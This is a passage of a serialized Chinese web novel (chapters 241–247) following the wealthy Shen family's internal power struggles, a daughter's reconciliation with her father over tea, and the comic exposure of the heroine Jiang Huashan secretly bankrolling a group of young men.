小时候她就喜欢赤脚在花厅里跑来跑去,那个时候她觉得做父亲的女儿是天底下最幸福的事。 但后来跑来跑去就长大了,那种幸福的感觉再也回忆不起来。 如果不做沈家女儿,她是不是就能留住女儿了? 沈娥灵光一闪,死死拽着萧启的胳膊,“老公……” “老婆,这件事你还是听老爷子的吧。” 她微愣,全身的血液好似这一刻凝固了,今晚所有的刀锋合起来都不如眼前这一句话有杀伤力。 沈娥抬起头,怔怔看着眼前的男人。 萧启不是不懂妻子眼里的失望,但身为家族财团执行人,他也有自己的难处。 他试图让沈娥理解他。 “老婆,金山那块去想要全部吞下起码要二十年,二十年后,萧家一定能跻身A国豪族前三。可眼下,余斯文的新政不断冲击新贵利益,如果没有沈家支持,金山的开采权只怕萧家吃了也会被其他几族逼的吐出来,所以……” 沈娥轻轻拂开萧启的胳膊,一如方才沈庄拂开她的手。 萧启无奈,“你实在不该惹老爷子生气,三年前也是,澜兰被你宠坏了,是该长大了。” “被我宠坏了?”沈娥苦笑,“萧启,你知道什么才是真正的宠吗?沈眠枝忍气吞声了八年,一朝被爱就长出了新的骨血。你说是为什么?因为她有个为了她敢不顾一切的父亲!” 萧启脸色不虞,“你这是在怪我?” 沈娥摇头,“我怪我自己,不敢不顾一切。” 说着,她转头看向花厅,泪水再也止不住。 在没有沈娇之前,她是家里唯一的女孩,父亲曾把她抱在膝下亲自教养,怎么能说没有偏爱呢? 到了适婚年龄,父亲为她择婿,她不愿输给沈娇一头,故意选择了不输傅家的萧家。 父亲当时反对,说萧家是新贵,势必要削尖往爬,嫁给这样的人家,以后夫妻间只有权衡算计,不适合她。 但她不听,一意孤行,父亲最终随了她的意。 嫁给萧启这几十年,她从未觉得自己的决定是错的,她天真以为是父亲多虑的,夫妻一体,萧家的利益和萧启的利益就是她的利益,根本不用权衡。 但这一刻,她才幡然醒悟。 之前她与萧启之间的权衡都是她不在意的利益,所以她觉得无足轻重,可一旦真正涉及到不可退让的利益,这种权衡会让她无所适从。 而萧启已经习惯了他们之间的权衡取舍,所以他不会理解这次她为何失常? 被偏爱长大的孩子怎么可能能忍受被人权衡,原来她还没有父亲了解自己。 “大小姐。” 这时,沈执端了一杯热茶走到两人跟前。 沈娥撇过头擦干眼睛。 萧启看了看偏厅,盯着沈执手里的茶,“沈管家,这是?” 沈执。“姑爷,老爷子说天冷,让大小姐喝杯热茶再走。” 萧启脸色微动,温声看向沈娥,“我去外面等你。” 沈娥没有回应,萧启略有些尴尬出了园子。 “大小姐。”沈执奉上茶盏。 沈娥接过茶,揭开茶盅那刻,所有的怨恨不甘顷刻夷平。 褐色的茶汤飘着一朵小鱼茶饼。 小时候沈娥有次胡闹,故意训狗去吓有孕的三房太太,三房太太因此受惊还见了红,沈庄知道后大怒,她担心会失去父亲的宠爱,就偷偷跟佣人学采茶,还茶叶压成了小鱼块。 她拿着茶饼求情,还与沈庄做了个约定,只要以后她带着小鱼茶上门,就代表这件事她知道错了,喝了茶她拼了命也一定会认真改过。 但当时沈庄并没有接受,不仅丢了她的小鱼饼,还每天罚她跪祠堂,直到后来三房太太无恙才把她放出来。 后来沈娥也因此被赶出了沁园,搬去秋园生活。 “……” 沈娥的手抖得不像话,泪水如断了线的珍珠一滴一滴落尽茶汤。 沈执轻叹了一声,低声,“大小姐,老爷子说,周家不适合澜兰小姐。周宴珩心思复杂,心性不纯,非良人。” 沈娥闭眼,点了点头,低头喝茶。 * 萧启站在园外,等了一会儿才见沈娥慢慢走了出来。 此时她脸上的泪痕已干,神情已经恢复了平静。 沈执追出来送茶,可见老爷子待这个女儿还是有些情分的,萧启也不想因此与沈娥生了嫌隙,主动上前牵住沈娥的手,“沈管家说了什么?” 沈娥摇头,“没什么。” 沈执特意出来送茶怎么可能什么都没说?萧启微顿,温声,“澜兰是我女儿,我也舍不得。我想了想,或许有个办法能让老爷子回心转意。” 沈娥转头看着他。 萧启,“你不是说澜兰和阿珩在谈恋爱吗?要不看看周家的态度,如果两家都有心可以先订婚,到时候周家再帮着说情,老爷子也不好拒绝。” 沈娥垂下眼,“是我弄错了,澜兰和周宴珩什么关系都没有,以后也不要再提了。” …… 第242章 他不对劲 偏厅。 处置完二房,沈庄留下了沈眠枝单独说话,其余人被安排在沈园留宿。 沈让伤的很重,沈娇不放心特意留下守着他上药,傅绥尔看着天色还早,便打算跟姜花衫一起去菊园吃瓜。 沈渊和沈谦脸色都不太好看,尤其是沈渊,原以为这次可以卸下老四一点权力,没想到老爷子只罚了不轻不重的两百鞭就不追究了。现在还留沈眠枝单独说话,今晚天秤的一端完全偏向三房。 沈谦略有感慨看向轮椅上的少年。 早在之前,沈归灵就劝过他,回鲸港并非明智之举,但沈谦没有听。 一是沈娥电话里情绪非常激动,他担心这个妹妹会做出什么错事牵连二房,二是他实在舍不得暗堂这块肥肉。 结果证明,沈归灵说的都是对的。 沈谦收敛情绪,拍拍了拍沈归灵的肩膀,“阿灵,我送你回竹园。” 沈归灵宠辱不惊,点头应下。 梅兰竹菊四院都在一个方向,沈谦笑着看向沈兰晞,“兰晞,一块走走?” 沈兰晞点头。 沈渊见状,故作不经意拍了拍沈清予的肩膀,“正好,我也去你院子坐坐。” 沈清予皱眉,直接掸开他的手,一副不想搭理的模样。 姜花衫和傅绥尔相互交换了个眼神,活像个没眼色的木头,一边一个挨着沈兰晞。 沈兰晞淡淡瞥了姜花衫一眼。 沈谦看着几个小辈的互动,略带打趣,“绥尔和衫衫还是跟小时候一样,都喜欢黏着兰晞。” 似乎是为了附和沈谦,沈归灵机械式扬起一抹笑容,笑起的同时微微低头,看不清一丝情绪。 沈清予双手插兜跟在一旁,“大伯看走眼了,她俩就是田里的猹,瓜在哪她俩就在哪。” 话落,姜花衫和傅绥尔同时变脸,义愤填膺瞪向沈清予。 傅绥尔,“你才是猹。” 沈谦看着几人的反应,忍俊不禁,“哈哈哈,怎么还跟小时候一样?没说两句就红眼?” 沈清予笑了笑,低眸睨看沈归灵。 少年嘴角噙着笑,却始终没有开口说一句话。 沈谦一路都在寻找话题,借机暗暗观察每个人的反应。 沈兰晞滴水不漏,沈清予浑身带刺,傅绥尔一点就炸,姜花衫嘻嘻哈哈。 到了中庭,各回各院。 沈渊跟着沈清予进了梅园,沈兰晞全程疏离,打过招呼回了兰园。 姜花衫和傅绥尔两人双手抱胸站在菊园外,看着沈谦推着沈归灵入了竹园。 “不对劲。”傅绥尔摸了摸下巴。 姜花衫点头附和,“没错,很不对劲。” 话落两人目光对视。 姜花衫,“沈……我是说,大伯对沈归灵的态度。” 她明明记得上一世的剧目里,沈谦态度转变是在两年后,沈归灵力挽狂澜,在震惊世界的‘屠杀门’事件中立下一等功,成为军政学府有史以来最年轻的一等功执行军官。 可现在沈归灵还没有获得这些荣耀,怎么感觉沈谦就已经‘叛变’了? “嗯~”傅绥尔摇头,“我说的不是这个,我说的是阿灵哥对你的态度。” “?”姜花衫一头雾水。 傅绥尔,“你没发现吗?阿灵哥从回来一句话都没说,而且我偷偷观察了,刚刚在沁园他见谁都点头微笑,唯独你,今晚他一眼都没有看你。” “……” 谁稀罕? 虽然不稀罕,但姜花衫还是有些无语。 她忽然想起刚刚在花厅,她盯着沈归灵看,他莫名其妙就避开眼神,这在以前可从来没有过。 沈归灵厚颜无耻,对谁都能笑的春风荡漾,怎么突然不敢看她了? 不对劲! 傅绥尔认真思索了片刻,疑惑看着姜花衫,“衫衫,你是不是得罪阿灵哥了?” “没有啊。” 再说,以前得罪他的地方多的去了,也没见他这样。 “那就奇怪了。”傅绥尔摇摇头,想不通,“按理说南湾一役你和阿灵哥也算同生共死了,不该啊。” 姜花衫一脸晦气。 她并不关心她和沈归灵的关系是近还是远,她真正在意的是沈归灵手上那份机密资料。 原本她还想借着保住沈归灵清白的交情把资料骗到手,现在看来有点难办了。 * 沈归灵正在阳台打理他的花花草草,离家这几天,他最惦记的就是阳台上的花花草草,尤其是那株魏紫。 三年时间,稀稀落落的阳台已经枝繁叶茂长满了生命力,沈归灵单托着一只花苞,眼里含着微光。 他一直觉得花是这个世界上最懂反馈情绪价值的生物之一,只要给足它的土壤、关爱和时间,它就会献出自己最美的一面,至死方休。 沈谦看着眼前的生机勃勃,略带感慨,“你倒是做什么都像模像样。” 当初只道沈归灵是为了接近老爷子才去讨教养花之道,没想到真被他种出了一片花海。 沈归灵垂眸,放下手心的花,眉眼温和看着沈谦,“父亲怎么了?不开心?” 沈谦摇摇头,“你爷爷脾气我也不是第一次领教了,也谈不上不开心。” 沈归灵支着拐杖坐回轮椅,调整方向看着沈谦,“父亲应该开心才是,这下,阿年哥回A国的契机就有了。” “……” …… 第243章 三年后的答卷 秋风从窗棂拂过,茶室的香绕案摆动。 沈庄看着眼前胶着的棋局,不觉陷入了深思。 黑棋气势汹汹,不断将军威胁,红棋失了先机只能见招拆招,但一昧防守破不了双将之局。 犹豫再三,沈庄用红车上前吸引兵力,掩护小兵过江,车败马死,兵线推进。 可再下那一步,他犹豫了。 这时,沈执推门而入,端着茶盅走到沈庄跟前。 “喝了?” 沈执点头,“是,一滴不剩。” 沈庄看着面前的棋盘,忽然觉得兴致阑珊。 孩子们毕竟都不是棋。 “把郑松叫来。” 沈执点头,转身出去,没一会儿郑松走了进来。 “老爷子。” 沈庄回头看了一眼案台的茶盅,“通知M国那边,如果大小姐跟着小小姐一起入境,之前的安排都取消,孟医生也不必跟着了。 没有人知道,其实,早在沈让调动暗堂的时候沈庄就已经收到了消息,没有他的默许,暗堂暗卫是不可能空降育才的。 所以,他是沈眠枝的无名英雄。 在花厅也是,他默许了二房、三房的争吵,因为只有利益对冲的时候,人心才会露出最真实的一面。 其实家族矛盾闹到最后,真相是什么往往已经不重要了,对于沈庄来说,沈娥的愚蠢才是原罪。 她认不清时局,为了与周家结亲竟然陷害自己的亲侄女,若是她有能力去抢这口蛋糕,沈庄还高看她一眼,偏偏沈娥有野心没脑子,做了坏事还漏洞百出,连一个没长大的孩子都可以随意拿捏她,就更别说外面那些豺狼虎豹了。 沈庄驱赶萧澜兰时就已经做好了万全准备,如果沈娥最后妥协,让萧澜兰一个人离开A国,那就说明她一定还有所图谋,他会派暗卫和孟先生从身体到思想全面监控萧澜兰。 好在沈娥最后及时醒悟,喝下了茶,没有让他失望。 吵了一天,沈庄头疼得厉害,郑松见状默默退了出去。 偌大的偏室,只剩一局残棋和一个老人。 沈庄随意拿起一个小饼在手里摩擦,目光不由自主看向窗外的玉盘。 * 庭院的灯光微亮,错落有致的光影沿着路面铺洒,照亮了每一步进退的路。 沈眠枝从偏厅出来时,被园里的景色吸引,一时看迷了眼。 沈让从花厅里走了出来,站在廊桥那端看着她。 沈眠枝笑了笑,踏上被光铺满的小路,快步奔向她的英雄。 她的脚步从未如此轻快过。 没有的束缚的感觉,灵魂自由的感觉。 “爸!” 她想给沈让一个大大的拥抱,但又想到他背后有伤,最后只是轻轻扑进了沈让的怀里。 “跟爷爷说好了?”沈让不会温柔,但对沈眠枝总是轻声细语。 沈眠枝点头。 沈让回头看了偏厅一眼,又摸了摸她的头,“走吧,回家。” 沈眠枝主动牵起沈让的手,这只手很宽很厚,关节处都是老茧。她细细打量后轻声问道:“爸爸,暗堂是什么地方?” 沈让微微愣了一下,“怎么忽然问这个?” 他从未跟沈眠枝说起过关乎暗堂的任何细节,因为怕吓着她。 沈眠枝摘下眼镜,略带浅灰的眸光噙着笑意,“爷爷跟我道歉了。” 老爷子?道歉了? 沈让略有惊讶。 “爷爷说,他没有及时察觉我的病情他很愧疚,但幸好我足够坚强,勇敢战胜了自我,他为我感到骄傲。” 沈眠枝眼眶微红,既兴奋又感动,“爷爷还说,勇敢的孩子值得嘉奖,我可以问他要一个奖赏,什么都可以。” 沈让心里五味杂陈,轻轻摸了摸女儿的额头,“是吗?那我们枝枝问爷爷要了什么?” 沈眠枝抬头,迎上沈让的目光,“我要了暗堂。” “暗……暗堂?”沈让目光一窒,差点以为是自己幻听了,“枝枝……爷爷他同意了吗?” 沈眠枝摇头。 沈让顿时大舒了一口气。 沈眠枝神情微妙,“但也没有拒绝。” 沈让眉头再次锁住。 “爷爷说,暗堂责任重大,他不能直接给,但若是我坚持,他会给我一个公平竞争的机会,如果我能凭本事赢过阿泽哥或者阿杰哥,等爸爸老了,暗堂就由我说的算。” “……”沈让认真打量沈眠枝,确定这不是一个玩笑后,感觉天都要塌了。 他试图扭转沈眠枝的想法,“枝枝,你听爸爸说,暗堂并不像你以为那么简单。这么说吧,进了暗堂,你只能把自己变成魔鬼,否则根本压不住里面的邪祟,那里不适合女生。” 暗堂就是沈家的暗刃,与家族荣耀并存亡,连沈亦杰和沈亦泽都要先去军区锻炼再谈入暗堂的资格,可想暗堂堂主的选拔有多严格。 虽然里面涉及的利益不可想象,但比起这样,沈让更愿意让沈眠枝做娇滴滴的公主。 沈眠枝理解沈让的担忧,但她并不打算妥协,坦白说道:“爸爸说的这些我都能想象。但是,我已经要下这个奖励。” 沈让两眼一黑人都要急晕过去了,女儿不再弱懦固然是好事,但也不能一下变成超雄啊。 “枝枝啊,这件事你是不是该跟爸爸商量一下啊,虽说你做什么爸爸都会支持你,可是……” 暗堂堂主? 沈家百年就没有一个女娃娃入暗堂的,这像什么话? 沈让无语凝噎,“你到底是怎么说服你爷爷的?” 沈眠枝眼里亮起星光。 “我跟爷爷说,今天是我人生中最开心的一天,我的爸爸踩踏七彩祥云从天而降,他像个大将军,挥斥方遒,点兵成将。我心中有了英雄的样子,所以我也想做英雄,我想拿起这世间最锋利的剑,去守护有天终将迟暮的将军。” “爸爸,我不想做公主,我想做屠龙的骑士。” 三年前的那场夜宴,她延迟了三年才交出了自己的答卷。 剑锋向上,永远追逐自由和荣耀。 … 第244章 小肚鸡肠 第二天清晨,沈谦带着沈归灵去沁园辞行,不想余斯文忽然携家眷登门拜访。 下个月就是与S国的外交和谈会,余斯文这个时候上门绝不可能是巧合,沈家人心知肚明。 沈庄让人把总统先生请去了书房,又特意吩咐二房、三房几个老爷一起会客。 沈谦这会儿也不急着走了,甚至还特意叮嘱沈归灵要好好‘照顾’余笙。 余笙许久不见沈归灵,见他坐在轮椅,脸色肉眼可见地紧张了起来,但碍于雷行在场,她也不好多问。 两人一路游园,逛到湖心亭时,沈归灵忽然感觉腿上不适,余笙便提议在凉亭里休息片刻。 这三年,余斯文与沈家偶有来往,余笙对沈园已经没有了一开始的好奇。但她对于竹园后那方生机盎然的阳台却越来越感兴趣。 过了湖心亭便入了梅兰竹菊内院,每次都止步于此。 看来今天也不会例外。 余笙略有些不开心,她知道沈归灵心高气傲,不会轻易入心,也正是因为这股傲气她才觉得眼前的人与旁人都不同。 只是这份傲气没有打碎之前未免也太伤人了。 沈归灵自是察觉出了余笙的小情绪,但他并不想在这种小事上消耗自己的精力,便佯装不知,低着头看手机。 余笙等了一会儿也不见他主动开口,一时有些不适应。 以前他好歹还会保持温柔,不会让人觉得冷场的。 雷行有些尴尬,清咳了一声,“少爷真是辛苦啊,养伤期间还不忘给先生整理文件。” 沈归灵抬眸扫了雷行一眼,虽然只是很寻常的打量,但不知道为何,雷行觉得这眼神平静的可怕。 余笙被转移了注意,凑近沈归灵,“原来你在帮伯父整理文件啊?” “嗯。”沈归灵关了手机。 余笙俯下身,笑了笑,“我也经常帮我爸爸整理他的资料,你别看我爸爸平时一丝不苟的,私底下总爱丢三落四。” * 垂花门的窗格下。 姜花衫正趴在墙角偷偷观察亭里的少年少女。 男生眼眉低垂,嘴角带笑,女生俏皮可爱半身前倾,从她的视角,沈归灵正在偷吻余笙的侧脸。 “这是亲上了?” 姜花衫有些犯难了,这么好的气氛她不好插足啊。 亭里的两人不知说了什么,沈归灵忽然掉转轮椅,余笙不察,前倾的身子失去平衡,慌乱之下对着沈归灵扑去。 姜花衫看准时机,立马冲了出去。 “沈龟灵!” 沈归灵目光一愣,侧头看去,冷不丁一张璀璨盛极的笑容从柱子后面钻了出来。 “……” 他反应很快,早在余笙对着他扑过来的时候,他就已经抬起了一只胳膊将余笙挡在轮椅之外,这么生疏的防备让余笙有些措不及防,她原本有些失望,正要起身,那只无情的胳膊忽然抖了一下。 “哎呀,我什么都没看见。” 背后传来一声惊呼,余笙来不及细想赶紧站直身子,回头见是姜花衫,脸色微红,“我刚刚不小心绊了一下。” 姜花衫哦了一声,目光在两人之间来回游弋,“你们,在约会吗?” “……”怎么不听人说话?余笙一下不知怎么回答,只能看向沈归灵。 她的目光有些为难却又暗藏期待。 沈归灵淡淡收回手,调转手轮面向姜花衫,眼神特别温柔:“怎么?你又要加入?” 余笙愣了愣,略有些惊讶。 说出这句话的沈归灵跟平时好像有点不一样,但又说不出哪里不一样? 死样子! 姜花衫假装没听见,笑吟吟看向余笙,“余笙姐姐,你怎么在这啊?来看阿灵哥的吗?” 余笙对姜花衫印象很好,笑着应道:“我跟我爸爸一起来的。哦,对了 ,我们刚刚不是你想的那样……我们……” 姜花衫摆摆手,“我懂,上次苏妙也是这样,她也说是我看错了。” 余笙一愣,转头看向沈归灵。 苏家有意沈归灵她一直是知道的,但她并不认为苏妙那样的姑娘沈归灵会喜欢。 沈归灵撩眸,嘴角莫名勾起一道弧。 强颜欢笑是吧? 姜花衫皱眉,“你笑什么?没错,我就是故意的,余姐姐这么好,我就看不惯你三心二意不尊重人家。” 这话倒是有七成真,她一直看不上沈归灵这种养鱼的行为,能救一个是一个吧。 沈归灵单手支头,没有一句不解释,就静静看她表演。 “不是的!”雷行不满姜花衫这么欺负自己的少爷,“姜小姐,你误会少爷了,少爷从来没有三心二意,你……你不能因为偏心清予少爷就诋毁我家少爷啊。” 姜花衫一愣,她什么时候偏心沈清予了?!这才是真正的诋毁好吗? 不是,雷行和高止两个人是怎么回事? 卧龙凤雏吗? 姜花衫斜睨雷行,正准备开口,余笙笑着揽过她的肩,“衫衫,我知道你也是好心,我很感谢你的提醒。不过……” 余笙顿了顿,看了沈归灵一眼又收回目光。 “不过相信自己的判断。” “……呵呵”姜花衫笑了笑,斜睨沈归灵,难怪这么有恃无恐。 也是,余笙可是沈归灵后宫团的正宫娘娘,大度的很,哪是她一两句话就能策反的? 算了!姜花衫并不纠结,转身就走。 “诶?” 余笙不了解姜花衫的脾气,见她态度一百八十度大转弯,有些无措,“我是不是惹你妹妹不高兴了?” 沈归灵摇头,“没关系。” 这件事她要高兴了,他可就不高兴了。 没关系? 余笙没想到沈归灵的态度这么冷淡,不由追着姜花衫的背影看了过去。看来,沈归灵不是很喜欢这个妹妹啊。 沈归灵转动轮椅,“我要去换药了。” 出乌龙之前,话题正好说到换药。沈归灵为免怠慢余笙,提出让沈兰晞尽地主之谊带余笙游园,余笙不愿,一时情急才绊了脚。 余笙收敛情绪,指了指湖面,“你去吧,我在这等你。” 沈归灵思忖片刻,点了点头。 雷行推着沈归灵出了凉亭,等走远了,雷行才不安询问,“少爷,我刚刚是不是多嘴了?姜小姐不会生气吧?” 沈归灵眉眼苏散,“你怕她?” 雷行点头,“有点。高止说了,姜小姐是整个沈园最小肚鸡肠的人,得罪谁都不能得罪她。” 说话间,两人正好路过梅园。 恰好这时,梅园姜花衫和沈清予肩并肩走了出来。 沈归灵冷笑,果然小肚鸡肠。 …… 第245章 你包养一个男团! 姜花衫也没想到这么快又遇上了沈归灵,这家伙不是在凉亭‘钓鱼’吗? 不过这会儿,她也没空搭理沈归灵,表情严肃继续解释,“这件事里面有误会,我是什么样的人你还不清楚吗?其他的我也不方便透露,就这样了,回见。” 不等沈清予反应,她转头跑回了自己的院子。 “……”沈清予表情淡淡,双手插兜走到沈归灵面前,“阿灵哥,这么努力?大清早就出来营业了?” 沈归灵抬眸。 沈清予俯下身,眼神戏谑,“我要是你,就想办法弄死那老头儿。” 雷行一愣,差点以为是自己幻听了。 沈归灵侧身,偏头看着沈清予,情绪稳定,“出门忘吃药了?” 沈清予眉梢微挑,拍了拍沈归灵的肩膀,“你这么能装,要不是图谋杀他全家,我都替你不值。” 这是什么虎狼之词! 雷行脸上面无表情,心里却汹涌澎湃。 沈清予起身瞥了雷行一眼,表情欠欠,“爷爷倒是对你挺好。” 沈归灵笑了笑,抬手掸了掸被沈清予拍过的肩膀,“雷管家,我们走。” “是。”雷行面无表情朝沈清予颔首,推着轮椅从梅园前路过。 沈清予嗤了一声,双手插兜径直走向菊园。 姜花衫回了菊园就在院门口偷瞄,见沈清予拦着沈归灵在找茬,稍稍缓了一口气。人的精力都是有限的,找了沈龟灵的茬可就不能再找她的了。 正想着,梅园门口两人分道扬镳,沈清予调头往这边走了过来。 姜花衫一脸晦气,看来沈清予不问个究竟是不会罢休了。 * 菊园院门紧闭,沈清予抬手敲门,门自然打开了,他微微挑眉,用脚顶开门扇,刚踏进院门就看见姜花衫坐在花架下,小桌上琳琅满目摆满了茶果。 “坐吧。”不知道的还是以为她恭候多时了。 沈清予嘴角就扯出了一道弧,慢悠悠走到花架前,“闯这么大的祸故作镇定可没用。” 姜花衫才不是小肚鸡肠,她是在准备回菊园的路上半道被沈清予请进梅园的,原本她以为沈清予是因为昨天的事要找她算账,不想小子随手拿出了一叠转账流水,还有一沓她与夏星沉在一中门口交谈的照片。 说实话,有点猝不及防。 姜花衫转头就走,沈清予追到门口,正要抓住她时就遇上了沈归灵。 当时急着跑是因为太突然没想好怎么狡辩,但现在她胸有成竹。 姜花衫握拳,重重砸在桌面,“沈清予,你派人跟踪我?你凭什么查我?这是我的隐私?!没想到你是这种人!” “……”沈清予用脚尖拉开椅子,一脸风轻云淡,“照片不是我拍的,是关鹤。多亏了你那条热度两万的匿名求助贴,我和他都火了,那家伙也不甘心,所以把你在外面花天酒地的证据给我了。” 关鹤有心报复姜花衫,所以给的都是错位照,不知情的人单看照片很容易被误解。 “什么花天酒地?你这文化水平还想进军政学府?” “别岔开话题。”沈清予不吃她这套,“你那天逃学就是去见这小白脸的?你真偷偷瞒着家里谈恋爱了?嗯?” 每一句都问的很轻,唯独最后一个嗯有点危险。 姜花衫脑子飞快运转,到底要不要把这件事解释清楚了?不行,还是干脆认了吧,绥尔现在跟她天下第一好,只要认下,夏星沉永远别想撬动绥尔,这方法一劳永逸,后期也不用再分出精力去防夏星沉的剧情。 “是……” 她刚开口,沈清予完全不给机会,“还用想?看来是不够喜欢。要没开始最好,开始了也分了。” 姜花衫瞪眼,“凭什么?” 这与夏星沉无关,主要是不能接受有人对她指手画脚。 沈清予表情淡淡,“我不能查你,但我查了他,不是个好东西。” 姜花衫立马就不说话了,她当然知道夏星沉不是个好东西,不然也不会想尽办法阻止他祸害绥尔,虽然现在的绥尔未必会上当,但代价太大,防患于未然总是好的。 “行叭。”她故作勉为其难应口,随即表情严肃解释,“其实我没把他当回事,那就是过客,放心,玩归玩我心里有数。” 说着起身就要走。 沈清予点了点桌面,“说完了过客,就说说你那些‘真爱’吧。” 姜花衫一愣,神经病啊,她哪来的真爱。 沈清予从口袋里掏出一沓流水资料扔在桌面上。 姜花衫随意扫了一眼,不动声色坐了回去。 沈清予看着这些比他命还长的流水就气不打一处来,但他还是忍着脾气,“我说你怎么天天喊手头紧,原来在外面包养了一个男团啊?” 姜花衫低头扣手,这小孩儿真是越来越不好骗了,难道二十几个男大小伙儿都被一锅端了? 沈清予哪知道她这个时候还在想怎么狡辩,以为她是羞愧默认了,咬牙道,“给我买个护手霜还要打折凑满减,给男团买高奢不是最新款不要,姜花衫!你有没有心啊!!!” 姜花衫一愣,立马拿起桌上的资料,护手霜原价1130,折后跨店满300减30,券后价1040。 这还不气人,最气人的是护手霜下面就是某奢侈高定外套,25万。 天知道沈清予看见这份清单时当时是什么心情? 姜花衫讪讪放下流水单,站在沈清予的立场,实在是过分了点,毕竟他也是男团的最大赞助商。 她难得地有耐心,“你听我解释。” 沈清予深吸了一口气,“你最好能解释的合情合理。” 姜花衫点头,清咳了一声,“如果我告诉你,这只是我广袤人生中的一个小小的兴趣爱好,你能理解吗?” “呵……”沈清予气笑了。 姜花衫,“不理解没有关系,但你是我哥哥,应该会支持我吧?” 都这个时候还敢道德绑架,小小的身体怎么能有这么肥的胆? 沈清予站起身,一把拎着她的领子,“兴趣?爱好?谁家小姑娘的兴趣爱好是集邮男团,专给小白脸花钱?你是真爱啊,这么年给你的钱你一件衣服都舍不得买,全给别人的男人花了!姜花衫,你才多大?怎么做的出这种事?关键你养的全是比你大的老男人!你怎么有本事?连沈归灵看见你都的拜师!” 这能怪她吗? 还不是怪方眉那群太太团太会玩,她为了打探点消息不得出手大方点。 “你小声点。” “我小声点?”沈清予用手戳她脑门,“原来你还知道要脸?” 张茹听见院里有动静,赶忙先从房间走了出来,乍一看见沈清予揪着姜花衫的衣襟吓得脸色都白了,冲上前拽开沈清予,“清予少爷,你在做什么?” 沈清予不屑跟张茹拉扯,往后退了一步,姜花衫见状,指着沈清予告状,“张妈,他打我。” 张茹谴责看向沈清予,“清予少爷,这可不行,姜小姐是女生,您有什么好好说,也不兴动手。” 沈清予被她这无赖的样子气麻了,完全不知悔改,这是没打算收手。 他拿起桌上挠痒痒的竹板,一把拉开张茹将姜花衫拖到跟前。 姜花衫愣了愣,“你干什么?” 沈清予压着她肩膀将她推坐在椅子里,手里的竹板有一下没一下敲着她的脑门。 “你,现在给我写份保证书。” 姜花衫,“……” “吵什么?” 两人正大眼瞪小眼,门外忽然出现一个不速之客。 …… 第246章 哥哥们统一战线 沈兰晞走到花架,目光在沈清予和姜花衫之间游弋。 张茹最快反应过来,义愤填膺指着沈清予,“兰晞少爷,您来的正好,清予少爷欺负我家小姐。” 姜花衫眼珠一转,转身跑到沈兰晞背后,“兰晞哥,沈清予就因为我昨天踹了他要揍我。” 沈清予向来看不惯沈兰晞,两人从不为伍,眼下只能先借沈兰晞把沈清予赶走,等沈清予气消了再想办法把包养男模的事遮掩过去。 姜花衫从没有这么主动过,沈兰晞犹豫片刻往前走了一步,算是护下了。 他转头斥责沈清予,“你多大的人了还跟她置气?有什么不会好好说?” 姜花衫咧嘴一下,安心躲在沈兰晞身后。 “这事好好说不了。”沈清予将竹板扛在肩,捞起桌上的流水递给沈兰晞,“诺,你厉害,你来说!” “?” 姜花衫的笑容瞬间裂开,不是!沈清予怎么不按套路出牌?他不是最讨厌的沈兰晞吗? 她立即反应过来,扑身想去抢,沈清予早预料了她的动作,见她伸手立马缩了回去。 “……” 沈兰晞回头看了姜花衫一眼,伸手接过沈清予手里的资料。 姜花衫转身准备溜。 沈兰晞跟沈清予不同,他是古板恪守礼教的卫道士,沈清予生气顶多大逆不道打她手板,沈兰晞可能会丧尽天良抓她浸猪笼,何况,他还是男团第二大赞助商。 身子刚动,高止像堵人墙挡住了她的退路。 沈兰晞匆匆扫了一眼,将资料扔回桌上,转身看着姜花衫。 “坐。” 他的语气特别平静,听不出喜怒。 俗话说债多不愁,虱多不痒,既然都被拆穿了,姜花衫也没什么怕的,转身坐回座位,语重心长,“每个人都有不足以对外言说的秘密,我只是犯了所有女生都会犯的错,真的不能原谅吗?” 沈兰晞转头看向沈清予,“你手里的竹板不适合,换双筷子。” 沈清予犹豫片刻,丢了竹板换了筷子,倒不是他想听沈兰晞的,实在是怕气不过把这小混账打死。 “你们想干什么?” 姜花衫拽着椅子两侧的扶手,虽然她笃定这二傻不会真对她做什么,但平白被打她也不乐意。 张茹担心事情闹大,正要上前阻止,沈兰晞给高止一个眼神,高止戴上墨镜,拽着张茹的手把她推出了院子。 院门被关上那刻,张茹什么都想了一遍,他们不会杀人分尸吧! 她吓得脸色苍白,慌慌张张往外院方向跑去。 正巧沈归灵换了药从竹园出来,张茹来不及多想冲上前拦住沈归灵的轮椅。 “阿灵少爷,求你救救我家小姐吧!” 沈归灵按住手轮,往菊园的方向看了过去,他认识张茹,自然也知道她口中的小姐是谁。 张茹指着菊园,“清予少爷和兰晞少爷不知道怎么回事?想打死我家小姐。” 沈归灵一听是沈清予和沈兰晞,握着轮椅的手慢慢松开,就那两个?加起来都动不了姜花衫一根汗毛。 “不用……” 他话还没说完,雷行脸色惊变,二话不说推着沈归灵往菊园冲去。 “少爷,这事可不能不管!” 风从脸上呼啸而过,沈归灵默默闭上了嘴,紧紧抓住了手轮。 十五米游廊,转眼就过去了。 刚到菊园门口,就听见里面传来乒乒乓乓的打闹声,张茹顶着最后一口气推开了院门。 院里。 沈清予和沈兰晞的头上,脸上,衣服上全是被砸烂的茶果,姜花衫跟泼猴子似的挂在桂花枝顶上。 沈归灵忽然闯入,两人眼神同时黯了黯。 沈兰晞拿下头顶的抹茶酥饼,“高止,把她带下来。” 高止身手不凡,别说爬树了,就是爬楼都不在话下。 姜花衫知道高止的厉害,想也没想回手掏出小可怜,“你别过来,你敢上来我就摔死它。” 好龟蜜,到你为我插刀的时候了。 高止脸色一变僵在树下,权衡再三,他取下眼镜看向沈兰晞,“少爷,姜小姐太无耻了,我不敢上树。” “嘿嘿~”无耻的姜小姐一脸得意看着树下的两人。 还想教训她? 她零帧起手,砸果子摔餐具大叫一声徒手爬树,随便一套组合癫就打得沈兰晞和沈清予措手不及。 沈清予挽起袖子,露出线条感的手臂,“希望你待会儿还笑得出来。” 姜花衫立马收回小可怜,“你敢上来我立马就跳下去!到时候摔死摔残废爷爷饶不了你。” 沈清予,“……” 沈归灵早料到是这结果,转动轮椅准备离开。 “阿灵。”沈兰晞忽然开口叫住他。 沈归灵眼睑微动,抬眸看着沈兰晞,“兰晞哥,你叫我?” 沈兰晞捡起地上几张纸递给他。 这一幕堪称是整个剧目最戏剧的转折,连姜花衫都看傻眼了。 不是吧?王不见王的两个人第一次统一战线竟然是为了对付她? 沈归灵接过资料,随意扫了一遍,短暂的沉默后,他笑着抬起头,“不是什么大事。” 姜花衫立马长舒了一口气。 “请爷爷过来吧,打死了我们还要赔命,不值得。” “?” …… 第247章 十八岁后的快乐 时间沉寂了一秒。 